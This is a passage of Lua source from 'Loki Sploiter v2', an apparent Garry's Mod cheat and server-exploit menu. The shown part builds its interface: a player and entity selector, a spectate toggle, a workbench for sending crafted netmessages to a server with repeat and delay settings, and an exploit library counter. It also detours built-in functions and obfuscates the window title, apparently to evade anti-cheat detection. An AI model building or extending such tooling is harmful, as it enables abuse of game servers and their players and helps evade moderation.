1252 surface.DrawRect( 0, 0, w, h )
1253 surface.SetDrawColor( Color(55, 55, 55, 245) )
1254 surface.DrawOutlinedRect( 0, 0, w, h )
1255 surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
1256 end
1257 local Plist = LOKI.vgui.Create( "DPanelList", LOKI.EntitySelector )
1258 Plist:SetSize( LOKI.EntitySelector:GetWide() - 10, LOKI.EntitySelector:GetTall() - 55 )
1259 Plist:SetPadding( 5 )
1260 Plist:SetSpacing( 5 )
1261 Plist:EnableHorizontal( false )
1262 Plist:EnableVerticalScrollbar( true )
1263 if(tab.nostore) then
1264 Plist:SetPos( 5, 20 )
1265 else
1266 Plist:SetPos( 5, 40 )
1267 end
1268 Plist:SetName( "" )
1269 local x, y = 10, 23
1270 if(!tab.nostore) then
1271 if(!single) then
1272 local target1 = LOKI.vgui.Create("DButton", LOKI.EntitySelector)
1273 target1:SetSize( 25, 20 )
1274 target1:SetPos( x, 23 )
1275 x = x + target1:GetSize()
1276 target1:SetText("All")
1277 target1:SetTextColor(Color(255, 255, 255, 255))
1278 target1.Paint = function(panel, w, h)
1279 surface.SetDrawColor(100, 100, 100 ,255)
1280 surface.DrawOutlinedRect(0, 0, w, h)
1281 surface.SetDrawColor(0, 0, 50 ,155)
1282 surface.DrawRect(0, 0, w, h)
1283 end
1284 target1.DoClick = function()
1285 for _, p in ipairs(tbl) do
1286 if not table.HasValue( plytab, p ) then
1287 table.insert( plytab, p )
1288 end
1289 end
1290 LOKI.Store( tab, plytab )
1291 end
1292 end
1293 local target2 = LOKI.vgui.Create("DButton", LOKI.EntitySelector)
1294 target2:SetSize( 40, 20 )
1295 target2:SetPos( x, 23 )
1296 x = x + target2:GetSize()
1297 target2:SetText("None")
1298 target2:SetTextColor(Color(255, 255, 255, 255))
1299 target2.Paint = function(panel, w, h)
1300 surface.SetDrawColor(100, 100, 100 ,255)
1301 surface.DrawOutlinedRect(0, 0, w, h)
1302 surface.SetDrawColor(0, 0, 50 ,155)
1303 surface.DrawRect(0, 0, w, h)
1304 end
1305 target2.DoClick = function()
1306 table.Empty(plytab)
1307 if(single) then
1308 LOKI.Store( tab, plytab[1] )
1309 else
1310 LOKI.Store( tab, plytab )
1311 end
1312 end
1313 if(type(tbl[1]) == "Player") then
1314 local target3 = LOKI.vgui.Create("DButton", LOKI.EntitySelector )
1315 target3:SetSize( 30, 20 )
1316 target3:SetPos( x, 23 )
1317 x = x + target3:GetSize()
1318 target3:SetText("Me")
1319 target3:SetTextColor(Color(255, 255, 255, 255))
1320 target3.Paint = function(panel, w, h)
1321 surface.SetDrawColor(100, 100, 100 ,255)
1322 surface.DrawOutlinedRect(0, 0, w, h)
1323 surface.SetDrawColor(0, 0, 50 ,155)
1324 surface.DrawRect(0, 0, w, h)
1325 end
1326 target3.DoClick = function()
1327 table.Empty(plytab)
1328 plytab[1] = LOKI.GetLP()
1329 if(single) then
1330 LOKI.Store( tab, plytab[1] )
1331 else
1332 LOKI.Store( tab, plytab )
1333 end
1334 end
1335 end
1336 if(!single && type(tbl[1]) == "Player") then
1337 local target4 = LOKI.vgui.Create("DButton", LOKI.EntitySelector )
1338 target4:SetSize( 50, 20 )
1339 target4:SetPos( x, 23 )
1340 x = x + target4:GetSize()
1341 target4:SetText("Whitelist")
1342 target4:SetTextColor(Color(255, 255, 255, 255))
1343 target4.Paint = function(panel, w, h)
1344 surface.SetDrawColor(100, 100, 100 ,255)
1345 surface.DrawOutlinedRect(0, 0, w, h)
1346 surface.SetDrawColor(0, 0, 50 ,155)
1347 surface.DrawRect(0, 0, w, h)
1348 if LOKI.GetWhitelist(tab.addr) then surface.SetDrawColor( Color(55, 255, 55, 245) ) end
1349 surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
1350 end
1351 target4.DoClick = function()
1352 LOKI.SetWhitelist(tab.addr, !LOKI.GetWhitelist(tab.addr))
1353 end
1354 end
1355 local target5 = LOKI.vgui.Create( "DTextEntry", LOKI.EntitySelector )
1356 target5:SetPos( x, 23 )
1357 target5:SetSize( 85, 20 )
1358 x = x + target5:GetSize()
1359 target5:SetText( "" )
1360 target5.OnChange = function( self )
1361 local nam = self:GetValue()
1362 nam = string.Replace(nam, " ", "")
1363 nam = nam:gsub( "[%-%^%$%(%)%%%.%[%]%*%+%-%?]", "%%%1" )
1364 local namtab = string.Explode( ",", nam )
1365 plytab = {}
1366 for _, pl in ipairs( tbl ) do
1367 for _, s in pairs( namtab ) do
1368 if v:IsPlayer() && (string.find( LOKI.GetDetour("string.lower", string.lower)( pl:Nick() ), s, 1, true ) ||
1369 string.find( LOKI.GetDetour("string.lower", string.lower)( pl:GetUserGroup() ), s, 1, true )) ||
1370 string.find( LOKI.GetDetour("string.lower", string.lower)( pl:GetClass() ), s, 1, true ) then
1371 table.Empty(plytab)
1372 plytab[#plytab+1] = pl
1373 if(single) then
1374 break
1375 end
1376 end
1377 end
1378 end
1379 if(single) then
1380 LOKI.Store( tab, plytab[1] )
1381 else
1382 LOKI.Store( tab, plytab )
1383 end
1384 end
1385 end
1386 for k, v in ipairs( tbl ) do
1387 if(!IsValid(v)) then continue end
1388 local plypanel2 = LOKI.vgui.Create( "DPanel", (!tab.nostore && Plist) || LOKI.EntitySelector )
1389 plypanel2:SetPos( 0, 0 )
1390 plypanel2:SetSize( 200, 25 )
1391 local teamcol = Color(255,255,255)
1392 if(v:IsPlayer()) then
1393 teamcol = team.GetColor( v:Team() )
1394 end
1395 plypanel2.Paint = function( s, w, h )
1396 if !v:IsValid() then return end
1397 surface.SetDrawColor( Color(30, 30, 30, 245) )
1398 surface.DrawRect( 0, 0, w, h )
1399 surface.SetDrawColor( teamcol )
1400 surface.DrawRect( 0, h - 3, w, 3 )
1401 surface.SetDrawColor( Color(55, 55, 55, 245) )
1402 surface.DrawOutlinedRect( 0, 0, w, h )
1403 if table.HasValue( LOKI.GetStored(tab.addr) || {}, v ) then surface.SetDrawColor( Color(55, 255, 55, 245) ) end
1404 surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
1405 end
1406 local plyname = LOKI.vgui.Create( "DLabel", plypanel2 )
1407 plyname:SetPos( 10, 5 )
1408 plyname:SetFont( "Trebuchet18" )
1409 local tcol = Color( 255, 255, 255 )
1410 if v == LOKI.GetLP() then tcol = Color( 155, 155, 255 ) end
1411 plyname:SetColor( tcol )
1412 if(v:IsPlayer()) then
1413 plyname:SetText( "(" .. v:GetUserGroup() .. ") " .. v:Nick() )
1414 else
1415 plyname:SetText( tostring(v) )
1416 end
1417 plyname:SetSize(180, 15)
1418 local plysel = LOKI.vgui.Create("DButton", plypanel2 )
1419 plysel:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
1420 plysel:SetPos( 0, 0 )
1421 plysel:SetText("")
1422 plysel.ent = v
1423 plysel.Paint = function(panel, w, h)
1424 if plysel.ent == LOKI.SpectateEnt then surface.SetDrawColor( Color(0, 255, 255, 245) ) surface.DrawOutlinedRect( 2, 2, plypanel2:GetWide() - 4, plypanel2:GetTall() - 4) end
1425 local hoveredpan = vgui.GetHoveredPanel()
1426 if(IsValid(hoveredpan) && IsValid(hoveredpan.ent) && !LOKI.SpectateEnt) then
1427 LOKI.IsHovered = hoveredpan.ent
1428 else
1429 LOKI.IsHovered = false
1430 end
1431 return
1432 end
1433 plysel.DoRightClick = function()
1434 if(LOKI.SpectateEnt != plysel.ent) then
1435 LOKI.SpectateEnt = plysel.ent
1436 else
1437 LOKI.SpectateEnt = false
1438 end
1439 end
1440 plysel.DoClick = function()
1441 if(tab.nostore) then return plysel.DoRightClick() end
1442 if(istable(plytab)) then
1443 if table.HasValue( plytab, v ) then
1444 Index = table.RemoveByValue( plytab, v )
1445 else
1446 if(single) then
1447 table.Empty(plytab)
1448 end
1449 table.insert(plytab, v)
1450 end
1451 if(single) then
1452 LOKI.Store( tab, plytab[1] )
1453 else
1454 LOKI.Store( tab, plytab )
1455 end
1456 else
1457 LOKI.Store( tab, plytab )
1458 end
1459 end
1460 Plist:AddItem( plypanel2 )
1461 end
1462 end
1463 function LOKI.MakeTextInputButton( parent, x, y, btext, default, addr)
1464 if !parent:IsValid() then return end
1465 local hostframe = LOKI.vgui.Create( "DPanel", parent )
1466 hostframe:SetPos( x, y )
1467 hostframe.Paint = function( self, w, h )
1468 surface.SetDrawColor( Color(60, 60, 60, 200) )
1469 surface.DrawRect( 0, 0, w, h )
1470 surface.SetDrawColor( Color( 60, 60, 60 ) )
1471 surface.SetMaterial( downgrad )
1472 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
1473 surface.SetDrawColor( Color(100, 100, 100, 255) )
1474 surface.DrawOutlinedRect( 0, 0, w, h )
1475 end
1476 local tttt = LOKI.vgui.Create( "DLabel", hostframe )
1477 tttt:SetPos( 5, 5 )
1478 tttt:SetText( btext )
1479 tttt:SizeToContents()
1480 local tentry = LOKI.vgui.Create( "DTextEntry", hostframe )
1481 tentry:SetPos( 10 + tttt:GetWide(), 2 )
1482 --tentry:SetSize( 130, 20 )
1483 tentry:SetText( LOKI.GetStored( addr, default ) )
1484 tentry.OnChange = function( self )
1485 LOKI.Store( addr, self:GetValue() )
1486 end
1487 hostframe:SetSize( 13 + tttt:GetWide() + tentry:GetWide(), 24 )
1488 return hostframe:GetWide(), hostframe:GetTall()
1489 end
1490 function LOKI.MakeComboButton( parent, x, y, btext, default, addr, tbl, restriction, name, sort, find)
1491 if !parent:IsValid() then return end
1492 if(isfunction(tbl)) then
1493 tbl = tbl()
1494 end
1495 local hostframe = LOKI.vgui.Create( "DPanel", parent )
1496 hostframe:SetPos( x, y )
1497 hostframe.Paint = function( self, w, h )
1498 surface.SetDrawColor( Color(60, 60, 60, 200) )
1499 surface.DrawRect( 0, 0, w, h )
1500 surface.SetDrawColor( Color( 60, 60, 60 ) )
1501 surface.SetMaterial( downgrad )
1502 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
1503 surface.SetDrawColor( Color(100, 100, 100, 255) )
1504 surface.DrawOutlinedRect( 0, 0, w, h )
1505 end
1506 local tttt = LOKI.vgui.Create( "DLabel", hostframe )
1507 tttt:SetPos( 5, 5 )
1508 tttt:SetText( btext )
1509 tttt:SizeToContents()
1510 local tentry = LOKI.vgui.Create( "DComboBox", hostframe )
1511 tentry:SetPos( 10 + tttt:GetWide(), 2 )
1512 tentry:SetSize( 130, 20 )
1513 tentry:SetSortItems( false )
1514 tentry:SetValue(istable(LOKI.GetStored(addr, default)) && tbl[(LOKI.GetStored(addr, default)[1])] && tbl[(LOKI.GetStored(addr, default)[1])][name] || "")
1515 for k, v in SortedPairsByMemberValue(tbl, sort) do
1516 if(!restriction || v[restriction]) then
1517 tentry:AddChoice(v[name], k)
1518 end
1519 end
1520 tentry.OnSelect = function( panel, index, value, data )
1521 tentry:SetValue(value)
1522 LOKI.Store( addr, {data, tbl[data][find] || data} )
1523 end
1524 hostframe:SetSize( 13 + tttt:GetWide() + tentry:GetWide(), 24 )
1525 return hostframe:GetWide(), hostframe:GetTall()
1526 end
1527 function LOKI.MakeNumberInputButton( parent, x, y, btext, default, min, max, addr)
1528 if !parent:IsValid() then return end
1529 if(min) then
1530 min = LOKI.SafeToNumber(min)
1531 else
1532 min = -math.huge
1533 end
1534 if(max) then
1535 max = LOKI.SafeToNumber(max)
1536 else
1537 max = math.huge
1538 end
1539 local hostframe = LOKI.vgui.Create( "DPanel", parent )
1540 hostframe:SetPos( x, y )
1541 hostframe.Paint = function( self, w, h )
1542 surface.SetDrawColor( Color(60, 60, 60, 200) )
1543 surface.DrawRect( 0, 0, w, h )
1544 surface.SetDrawColor( Color( 60, 60, 60 ) )
1545 surface.SetMaterial( downgrad )
1546 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
1547 surface.SetDrawColor( Color(100, 100, 100, 255) )
1548 surface.DrawOutlinedRect( 0, 0, w, h )
1549 end
1550 local tttt = LOKI.vgui.Create( "DLabel", hostframe )
1551 tttt:SetPos( 5, 5 )
1552 tttt:SetText( btext || "" )
1553 tttt:SizeToContents()
1554 local numentry = LOKI.vgui.Create( "DNumberWang", hostframe )
1555 numentry:SetPos( 10 + tttt:GetWide(), 2 )
1556 numentry:SetSize( 45, 20 )
1557 numentry:SetDecimals( 2 )
1558 numentry:SetMin( min )
1559 numentry:SetMax( max )
1560 numentry:SetValue( LOKI.GetStored( addr, default ) )
1561 numentry.OnValueChanged = function( self, val )
1562 val = math.Clamp(LOKI.SafeToNumber(val), min, max)
1563 LOKI.Store( addr, val )
1564 end
1565 hostframe:SetSize( 13 + tttt:GetWide() + numentry:GetWide(), 24 )
1566 return hostframe:GetWide(), hostframe:GetTall()
1567 end
1568 function LOKI.MakeVectorInputButton( parent, x, y, btext, default, addr)
1569 if !parent:IsValid() then return end
1570 local hostframe = LOKI.vgui.Create( "DPanel", parent )
1571 hostframe:SetPos( x, y )
1572 hostframe.Paint = function( self, w, h )
1573 surface.SetDrawColor( Color(60, 60, 60, 200) )
1574 surface.DrawRect( 0, 0, w, h )
1575 surface.SetDrawColor( Color( 60, 60, 60 ) )
1576 surface.SetMaterial( downgrad )
1577 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
1578 surface.SetDrawColor( Color(100, 100, 100, 255) )
1579 surface.DrawOutlinedRect( 0, 0, w, h )
1580 end
1581 local tttt = LOKI.vgui.Create( "DLabel", hostframe )
1582 tttt:SetPos( 5, 5 )
1583 tttt:SetText( btext || "" )
1584 tttt:SizeToContents()
1585 local numentry = nil
1586 for i=1,3 do
1587 local numentry = LOKI.vgui.Create( "DNumberWang", hostframe )
1588 numentry:SetPos( 3*i + tttt:GetWide(), 2 )
1589 numentry:SetSize( 15*i, 20 )
1590 numentry:SetDecimals( 2 )
1591 numentry:SetValue( LOKI.GetStored( addr, default )[i] )
1592 numentry.OnValueChanged = function( self, val )
1593 val = LOKI.SafeToNumber(val)
1594 local var = LOKI.GetStored( addr, default )
1595 self:SetValue(val)
1596 var[i] = val
1597 LOKI.Store( addr, var )
1598 end
1599 end
1600 hostframe:SetSize( 13 + tttt:GetWide() + numentry:GetWide() * 3, 24 )
1601 return hostframe:GetWide(), hostframe:GetTall()
1602 end
1603 ////////////////////////////////////////////- NET WORKBENCH -//////////////////////////////////////////////////
1604 function LOKI.MakeMessageSelector( hostpanel, typevar, isent )
1605 local hostframe = LOKI.vgui.Create( "DPanel", LOKI.NetWorkbench.NetPanel )
1606 hostframe:SetPos( 5, LOKI.NetWorkbench.NetPanel.ysize )
1607 hostframe:SetSize( LOKI.NetWorkbench.NetPanel:GetWide() - 10, 22 )
1608 hostframe.Paint = function( self, w, h )
1609 surface.SetDrawColor( Color(60, 60, 60, 200) )
1610 surface.DrawRect( 0, 0, w, h )
1611 surface.SetDrawColor( Color(100, 100, 100, 255) )
1612 surface.DrawOutlinedRect( 0, 0, w, h )
1613 end
1614 local tttt = LOKI.vgui.Create( "DLabel", hostframe )
1615 tttt:SetPos( 20, 4 )
1616 tttt.Type = typevar
1617 tttt:SetText( typevar )
1618 tttt:SizeToContents()
1619 local tentry = isent && LOKI.vgui.Create( "DComboBox", hostframe ) || LOKI.vgui.Create( "DTextEntry", hostframe )
1620 tentry:SetSize( 140, 18 )
1621 tentry:SetPos( hostframe:GetWide() - 145, 2 )
1622 if(!isent) then
1623 tentry:SetText( "" )
1624 tentry.OnChange = function( self )
1625 print( self:GetValue() )
1626 end
1627 else
1628 for k, v in ipairs( player.GetAll() ) do
1629 if((v:IsScripted() || v:IsPlayer()) && !string.StartWith(v:GetClass(), "env_")) then
1630 tentry:AddChoice(tostring(v))
1631 end
1632 end
1633 DComboBox.OnSelect = function( panel, index, value )
1634 print( tostring(Entity(index)) .." was selected!" )
1635 end
1636 end
1637 local SelButton = LOKI.vgui.Create( "DButton", hostframe )
1638 SelButton:SetPos( 5, 3 )
1639 SelButton:SetText( "" )
1640 SelButton:SetTextColor( Color(255, 255, 255, 255) )
1641 SelButton:SetSize( 12, 16 )
1642 SelButton.Paint = function( self, w, h )
1643 surface.SetDrawColor( Color(30, 30, 30, 200) )
1644 surface.DrawRect( 0, 0, w, h )
1645 surface.SetDrawColor( Color(90, 90, 90, 200) )
1646 surface.DrawRect( 2, 2, 3, h - 4 )
1647 surface.DrawRect( 6, 2, 3, h - 4 )
1648 end
1649 LOKI.NetWorkbench.NetPanel.ysize = LOKI.NetWorkbench.NetPanel.ysize + 25
1650 hostpanel:SetPos( 5, LOKI.NetWorkbench.NetPanel.ysize )
1651 SelButton.DoClick = function( self )
1652 hostframe:Remove()
1653 LOKI.NetWorkbench.NetPanel.ysize = LOKI.NetWorkbench.NetPanel.ysize - 25
1654 hostpanel:SetPos( 5, LOKI.NetWorkbench.NetPanel.ysize )
1655 end
1656 end
1657 function LOKI.NetmessagePanel()
1658 if LOKI.NetWorkbench and LOKI.NetWorkbench:IsVisible() then LOKI.NetWorkbench:Remove() end
1659 LOKI.NetWorkbench = LOKI.vgui.Create("DFrame", LOKI.Menu)
1660 LOKI.NetWorkbench:SetSize(250,400)
1661 LOKI.NetWorkbench:SetTitle("Send a netmessage")
1662 -- LOKI.NetWorkbench:SetPos( gui.MouseX(), gui.MouseY() )
1663 LOKI.NetWorkbench:MakePopup()
1664 LOKI.NetWorkbench:Center()
1665 LOKI.NetWorkbench.Paint = function( s, w, h )
1666 if !IsValid(LOKI.Menu) or !LOKI.Menu:IsVisible() then s:Remove() return end
1667 surface.SetDrawColor( Color(30, 30, 30, 255) )
1668 surface.DrawRect( 0, 0, w, h )
1669 surface.SetDrawColor( Color(55, 55, 55, 245) )
1670 surface.DrawOutlinedRect( 0, 0, w, h )
1671 surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
1672 LOKI.DrawText( "Channel: ", "default", 5, 28, Color(255,255,255, 30) )
1673 LOKI.DrawText( "Repeat: ", "default", 8, 54, Color(255,255,255, 30) )
1674 LOKI.DrawText( "Times", "default", 100, 54, Color(255,255,255, 30) )
1675 LOKI.DrawText( "Delay: ", "default", 15, 79, Color(255,255,255, 30) )
1676 LOKI.DrawText( "( 100 = 1 msg/second )", "default", 100, 79, Color(255,255,255, 30) )
1677 LOKI.DrawText( "Data: ", "default", 5, 104, Color(255,255,255, 30) )
1678 surface.SetDrawColor( Color(0, 0, 0, 205) )
1679 surface.DrawRect( 5, 105, w - 10, 250 )
1680 end
1681 LOKI.NetWorkbench.NetPanel = LOKI.vgui.Create( "DScrollPanel", LOKI.NetWorkbench )
1682 LOKI.NetWorkbench.NetPanel:SetSize( LOKI.NetWorkbench:GetWide() - 10, 250 )
1683 LOKI.NetWorkbench.NetPanel:SetPos( 5, 105 )
1684 LOKI.NetWorkbench.NetPanel.ysize = 0
1685 local AddButton = LOKI.vgui.Create( "DButton", LOKI.NetWorkbench.NetPanel )
1686 AddButton:SetPos( 5, LOKI.NetWorkbench.NetPanel.ysize )
1687 AddButton:SetText( "Add New Data" )
1688 AddButton:SetTextColor( Color(255, 255, 255, 255) )
1689 AddButton:SetSize( LOKI.NetWorkbench.NetPanel:GetWide() - 10, 20 )
1690 AddButton.Paint = function( self, w, h )
1691 surface.SetDrawColor( Color(60, 60, 60, 200) )
1692 surface.DrawRect( 0, 0, w, h )
1693 surface.SetDrawColor( Color(100, 100, 100, 255) )
1694 surface.DrawRect( 0, 0, w, 1 )
1695 surface.DrawRect( 0, 0, 1, h )
1696 end
1697 local DataToSend = {}
1698 AddButton.DoClick = function( self )
1699 local Menu = DermaMenu()
1700 local Menustr = Menu:AddOption( "String (Text)", function() LOKI.MakeMessageSelector(self, "String") end ) Menustr:SetIcon( "icon16/script_edit.png" )
1701 local Menuuint = Menu:AddOption( "UInt (Positive Whole Number)", function() LOKI.MakeMessageSelector(self, "UInt") end ) Menuuint:SetIcon( "icon16/script_add.png" )
1702 local Menuint = Menu:AddOption( "Int (Whole Number)", function() LOKI.MakeMessageSelector(self, "Int") end ) Menuint:SetIcon( "icon16/script_delete.png" )
1703 local Menufloat = Menu:AddOption( "Float (Decimal Number)", function() LOKI.MakeMessageSelector(self, "Float") end ) Menufloat:SetIcon( "icon16/script_link.png" )
1704 local Menubool = Menu:AddOption( "Boolean (True or False)", function() LOKI.MakeMessageSelector(self, "Boolean") end ) Menubool:SetIcon( "icon16/script.png" )
1705 local Menuvec = Menu:AddOption( "Vector (3D coordinates)", function() LOKI.MakeMessageSelector(self, "Vector") end ) Menuvec:SetIcon( "icon16/script_code.png" )
1706 local Menuang = Menu:AddOption( "Angle (Pitch, Yaw and Roll)", function() LOKI.MakeMessageSelector(self, "Angle") end ) Menuang:SetIcon( "icon16/script_gear.png" )
1707 local Menucol = Menu:AddOption( "Colour (Red, Green and Blue)", function() LOKI.MakeMessageSelector(self, "Colour") end ) Menucol:SetIcon( "icon16/script_palette.png" )
1708 local Menuent = Menu:AddOption( "Player (Entity Object)", function() LOKI.MakeMessageSelector(self, "Player", true) end ) Menuent:SetIcon( "icon16/world.png" )
1709 local Menudouble = Menu:AddOption( "Double (High Precision Decimal Number)", function() LOKI.MakeMessageSelector(self, "Double") end ) Menudouble:SetIcon( "icon16/script_code_red.png" )
1710 local Menudata = Menu:AddOption( "Data (Binary Data + Length)", function() LOKI.MakeMessageSelector(self, "Data") end ) Menudata:SetIcon( "icon16/server.png" )
1711 Menu:Open()
1712 end
1713 local netname = LOKI.vgui.Create( "DTextEntry", LOKI.NetWorkbench )
1714 netname:SetPos( 50, 25 )
1715 netname:SetSize( 190, 20 )
1716 netname:SetText( LOKI.GetStored( "LCurrentNetmessage", "" ) )
1717 netname.OnChange = function( self )
1718 local nam = self:GetValue()
1719 LOKI.Store( "LCurrentNetmessage", nam )
1720 end
1721 local netrepeat = LOKI.vgui.Create( "DNumberWang", LOKI.NetWorkbench )
1722 netrepeat:SetPos( 50, 50 )
1723 netrepeat:SetSize( 45, 20 )
1724 netrepeat:SetDecimals( 2 )
1725 netrepeat:SetValue( LOKI.GetStored( "LCurrentNetRepeat", 1 ) )
1726 netrepeat.OnValueChanged = function( self, val )
1727 LOKI.Store( "LCurrentNetRepeat", self:GetValue() )
1728 end
1729 local netdelay = LOKI.vgui.Create( "DNumberWang", LOKI.NetWorkbench )
1730 netdelay:SetPos( 50, 75 )
1731 netdelay:SetSize( 45, 20 )
1732 netdelay:SetDecimals( 3 )
1733 netdelay:SetValue( LOKI.GetStored( "LCurrentnetDelay", 100 ) )
1734 netdelay.OnValueChanged = function( self, val )
1735 LOKI.Store( "LCurrentnetDelay", self:GetValue() )
1736 end
1737 local netname = LOKI.vgui.Create( "DTextEntry", LOKI.NetWorkbench )
1738 netname:SetPos( 50, 25 )
1739 netname:SetSize( 190, 20 )
1740 netname:SetText( LOKI.GetStored( "LCurrentNetmessage", "" ) )
1741 netname.OnChange = function( self )
1742 local nam = self:GetValue()
1743 LOKI.Store( "LCurrentNetmessage", nam )
1744 end
1745 LOKI.NetWorkbench.SendToServerButton = LOKI.vgui.Create( "DButton", LOKI.NetWorkbench )
1746 LOKI.NetWorkbench.SendToServerButton:SetPos( 5, LOKI.NetWorkbench:GetTall() - 35 )
1747 LOKI.NetWorkbench.SendToServerButton:SetText( "Send to Server" )
1748 LOKI.NetWorkbench.SendToServerButton:SetTextColor( Color(255, 255, 255, 255) )
1749 LOKI.NetWorkbench.SendToServerButton:SetSize( LOKI.NetWorkbench:GetWide() - 10, 30 )
1750 LOKI.NetWorkbench.SendToServerButton.Paint = function( self, w, h )
1751 surface.SetDrawColor( Color(60, 60, 60, 200) )
1752 surface.DrawRect( 0, 0, w, h )
1753 surface.SetDrawColor( Color( 60, 60, 60 ) )
1754 surface.SetMaterial( downgrad )
1755 surface.DrawTexturedRect( 0, 0, w, h/ 2 )
1756 surface.SetDrawColor( Color(100, 100, 100, 255) )
1757 surface.DrawOutlinedRect( 0, 0, w, h )
1758 end
1759 LOKI.NetWorkbench.SendToServerButton.DoClick = function()
1760 end
1761 end
1762 function LOKI.SecondsToClock(seconds)
1763 local seconds = LOKI.SafeToNumber(seconds)
1764
1765 if seconds <= 0 then
1766 return "00:00:00";
1767 else
1768 local hours = string.format("%02.f", math.floor(seconds/3600));
1769 local mins = string.format("%02.f", math.floor(seconds/60 - (hours*60)));
1770 local secs = string.format("%02.f", math.floor(seconds - hours*3600 - mins *60));
1771 return hours..":"..mins..":"..secs
1772 end
1773 end
1774 function LOKI.SafeToNumber(var)
1775 return tonumber(var) || -math.huge
1776 end
1777 function LOKI.GetWithinBounds( ent, entpos, dist )
1778 local tbl = {}
1779 if(istable(ent)) then
1780 for k, v in ipairs(ent) do
1781 if(IsValid(v)) then
1782 if(v:GetPos():DistToSqr( entpos ) < ( dist*dist )) then
1783 tbl[#tbl + 1] = v
1784 end
1785 end
1786 end
1787 return tbl
1788 elseif(IsValid(ent) && isfunction(ent.GetPos)) then
1789 return ent:GetPos():DistToSqr( entpos:GetPos() ) < ( dist*dist )
1790 else
1791 return false
1792 end
1793 end
1794 function LOKI.SecureString(str)
1795 local tbl = string.ToTable(str)
1796 local final_tbl = LOKI.GetDetour("table.Copy", table.Copy)(tbl)
1797 for k, v in pairs(tbl) do
1798 table.insert(final_tbl, LOKI.GetDetour("math.random", math.random)(0, #tbl), "")
1799 end
1800 return table.concat(tbl)
1801 end
1802 ////////////////////////////////////////////- MENU -//////////////////////////////////////////////////
1803 local events = {["player_disconnect"] = true, ["player_connect"] = true, ["player_hurt"] = true, ["player_say"] = true, ["player_activate"] = true, ["player_spawn"] = true, ["player_changename"] = true, ["player_info"] = true, ["server_cvar"] = true, ["break_prop"] = true, ["break_breakable"] = true, ["flare_ignite_npc"] = true, ["entity_killed"] = true,}
1804 local eventsR = {}
1805 function LOKI.OpenMenu(bInit)
1806 if LOKI.Menu && LOKI.Menu:IsVisible() then return end
1807 LOKI.CreatePanel = function() end
1808 local ActiveCount = function() end
1809 local Plist = nil
1810 if(bInit != true) then
1811 LOKI.Menu = LOKI.vgui.Create("DFrame")
1812 LOKI.Menu:SetPaintedManually(true)
1813 LOKI.Menu:SetSize(700,550)
1814 LOKI.Menu:SetTitle(LOKI.SecureString("Loki Sploiter v2"))
1815 LOKI.Menu:Center()
1816 LOKI.Menu:MakePopup()
1817
1818 LOKI.Menu.ExploitCount = {LOKI.GetVarExploits("severity", LOKI.TYPEVARS.MORETHAN, 0)}
1819 LOKI.Menu.ExploitCount[2] = LOKI.GetVarTable(LOKI.Menu.ExploitCount[1], "scanned", LOKI.TYPEVARS.EQUALTO, true)
1820 LOKI.Menu.ExploitCount[3] = 0
1821 LOKI.Menu.ExploitCount[4] = 0
1822
1823 ActiveCount = function()
1824
1825 LOKI.Menu.ExploitCount = {LOKI.GetVarExploits("severity", LOKI.TYPEVARS.MORETHAN, 0)}
1826 LOKI.Menu.ExploitCount[2] = LOKI.GetVarTable(LOKI.Menu.ExploitCount[1], "scanned", LOKI.TYPEVARS.EQUALTO, true)
1827 LOKI.Menu.ExploitCount[3] = 0
1828 LOKI.Menu.ExploitCount[4] = 0
1829
1830 for k, v in pairs(LOKI.Menu.ExploitCount[1]) do
1831 if(!v.count) then
1832 v.count = {
1833 ["Active"] = 1,
1834 ["Total"] = 1,
1835 }
1836 end
1837
1838 if(istable(v.functions) && !v.count.Counted) then
1839 for k2, v2 in pairs(v.functions) do
1840 if(v2.typ == "bools") then
1841 if(!v.count.Counted) then
1842 v.count.Total = v.count.Total - 1
1843 v.count.Counted = true
1844 end
1845 v.count.Total = v.count.Total + table.Count(v2.tbl)
1846 end
1847 end
1848 end
1849
1850 LOKI.Menu.ExploitCount[3] = LOKI.Menu.ExploitCount[3] + v.count.Total
1851 end
1852
1853 for k, v in pairs(LOKI.Menu.ExploitCount[2]) do
1854 LOKI.BlockNetOutgoing = true
1855 if(v.scan_always && !v.scan(v)) then LOKI.BlockNetOutgoing = false continue end
1856 LOKI.BlockNetOutgoing = false
1857 if(!v.count) then
1858 v.count = {
1859 ["Active"] = 1,
1860 ["Total"] = 1,
1861 }
1862 end
1863
1864 LOKI.Menu.ExploitCount[4] = LOKI.Menu.ExploitCount[4] + v.count.Active
1865 end
1866
1867 end
1868
1869 LOKI.Menu.Paint = function( s, w, h )
1870 LOKI.Menu:SetVisible(true)
1871 surface.SetDrawColor( Color(30, 30, 30, 245) )
1872 surface.DrawRect( 0, 0, w, h )
1873 surface.SetDrawColor( Color(55, 55, 55, 245) )
1874 surface.DrawOutlinedRect( 0, 0, w, h )
1875 surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
1876 surface.SetDrawColor( Color(0, 0, 0, 200) )
1877 surface.DrawRect( 80, 25, w - 90, h - 35 )
1878 surface.SetDrawColor( Color(100, 100, 100, 200) )
1879 surface.DrawLine( 10, 25, 40, 30 )
1880 surface.DrawLine( 40, 30, 70, 25 )
1881 surface.DrawLine( 10, 25, 25, 40 )
1882 surface.DrawLine( 55, 40, 70, 25 )
1883 surface.DrawLine( 25, 40, 25, 60 )
1884 surface.DrawLine( 55, 40, 55, 60 )
1885 surface.DrawLine( 25, 60, 40, 70 )
1886 surface.DrawLine( 55, 60, 40, 70 )
1887 LOKI.DrawText( "Sploit Library", "default", 8, 85, Color(255,255,255, 30) )
1888 LOKI.DrawText( "Exploits: "..LOKI.Menu.ExploitCount[3], "default", 8, 95, Color(255,255,255, 30) )
1889 LOKI.DrawText( "Available: "..LOKI.Menu.ExploitCount[4], "default", 8, 105, Color(255,255,255, 30) )
1890 LOKI.DrawText( "Bait?: "..LOKI.BAIT_COUNT, "default", 8, 115, Color(255,255,255, 30) )
1891 LOKI.DrawText( "Ares: "..(LOKI.ARES && "✓" || "✗"), "default", 8, 125, Color(255,255,255, 30) )
1892 end
1893 Plist = LOKI.vgui.Create( "DPanelList", LOKI.Menu )
